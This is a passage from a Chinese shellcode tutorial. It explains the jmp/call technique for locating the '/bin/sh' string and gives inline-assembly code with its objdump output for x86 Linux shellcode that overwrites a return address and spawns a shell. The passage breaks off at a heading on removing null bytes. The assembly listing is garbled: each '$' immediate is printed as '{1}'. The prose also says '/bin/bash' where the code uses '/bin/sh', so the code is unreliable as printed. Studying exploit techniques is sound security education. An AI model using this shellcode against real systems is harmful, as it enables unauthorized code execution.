我们可以看到,exit系统调用将0x1放入到eax中(它是syscall的索引值),同时将退出码放入到ebx中(大部分程序正常退出时的返回值是0),然后执行“int 0x80”系统调用。
其实,到目前为止,我们要构造shellcode,但是我们并不知道我们要放置的字符串在内存中的确切位置。在3.1节中,我们采用将字符串压栈的方式获得字符串起始地址。在这一节中,我们将给出一种确定字符串起始地址的设计方案。该方案采用的是jmp和call指令。由于jmp和call指令都可以采用eip相对寻址,也就是说,我们可以从当前运行的地址跳到一个偏移地址处执行,而不必知道这个地址的确切地址值。如果我们将call指令放在“/bin/bash”字符串前,然后jmp到call指令的位置,那么当call指令被执行时,它会首先将下一个要执行的指令的地址(也就是字符串的起始地址)压入堆栈。这样就可以获得字符串的起始地址。然后我们可以让call指令调用我们的shellcode的第一条指令,然后将返回地址(字符串起始地址)从堆栈中弹出到某个寄存器中。
我们要构造的shellcode的执行流程如下图所示:
Shellcode执行流程解析:
RET覆盖返回地址eip之后,子函数返回时将跳转到我们的shellcode的起始地址处执行。由于shellcode起始地址处是一条jmp指令,它直接跳到了我们的call指令处执行。call指令先将返回地址(“/bin/bash”字符串地址)压栈之后,跳转到jmp指令下一地址处指令继续执行。这样就可以获取到字符串的地址。
即:
Beginning_of_shellcode:
jmp subroutine_call
subroutine:
popl %esi
……
(shellcode itself)
……
subroutine_call:
call subroutine
/bin/sh
下面,我们用C语言内嵌汇编的方式,构造shellcode。
root@linux:~/pentest# cat shellcode_asm.c
#include <stdio.h>
int main(int argc, char **argv) {
__asm__
(" \
jmp subroutine_call; \
subroutine: \
popl %esi; \
movl %esi,0x8(%esi); \
movl {1}x0,0xc(%esi); \
movb {1}x0,0x7(%esi); \
movl {1}xb,%eax; \
movl %esi,%ebx; \
leal 0x8(%esi),%ecx; \
leal 0xc(%esi),%edx; \
int {1}x80; \
movl {1}x0,%ebx; \
movl {1}x1,%eax; \
int {1}x80; \
subroutine_call: \
call subroutine; \
.string \"/bin/sh\"; \
");
return 0;
}
root@linux:~/pentest# objdump -d shellcode_asm
08048394 <main>:
8048394: 55 push %ebp
8048395: 89 e5 mov %esp,%ebp
8048397: eb 2a jmp 80483c3 <subroutine_call>
08048399 <subroutine>:
8048399: 5e pop %esi
804839a: 89 76 08 mov %esi,0x8(%esi)
804839d: c7 46 0c 00 00 00 00 movl {1}x0,0xc(%esi)
80483a4: c6 46 07 00 movb {1}x0,0x7(%esi)
80483a8: b8 0b 00 00 00 mov {1}xb,%eax
80483ad: 89 f3 mov %esi,%ebx
80483af: 8d 4e 08 lea 0x8(%esi),%ecx
80483b2: 8d 56 0c lea 0xc(%esi),%edx
80483b5: cd 80 int {1}x80
80483b7: bb 00 00 00 00 mov {1}x0,%ebx
80483bc: b8 01 00 00 00 mov {1}x1,%eax
80483c1: cd 80 int {1}x80
080483c3 <subroutine_call>:
80483c3: e8 d1 ff ff ff call 8048399 <subroutine>
80483c8: 2f das
80483c9: 62 69 6e bound %ebp,0x6e(%ecx)
80483cc: 2f das
80483cd: 73 68 jae 8048437 <__libc_csu_init+0x57>
80483cf: 00 b8 00 00 00 00 add %bh,0x0(%eax)
80483d5: 5d pop %ebp
80483d6: c3 ret
80483d7: 90 nop
80483d8: 90 nop
80483d9: 90 nop
80483da: 90 nop
80483db: 90 nop
80483dc: 90 nop
80483dd: 90 nop
80483de: 90 nop
80483df: 90 nop
替换掉shellcode中含有的Null字节的指令: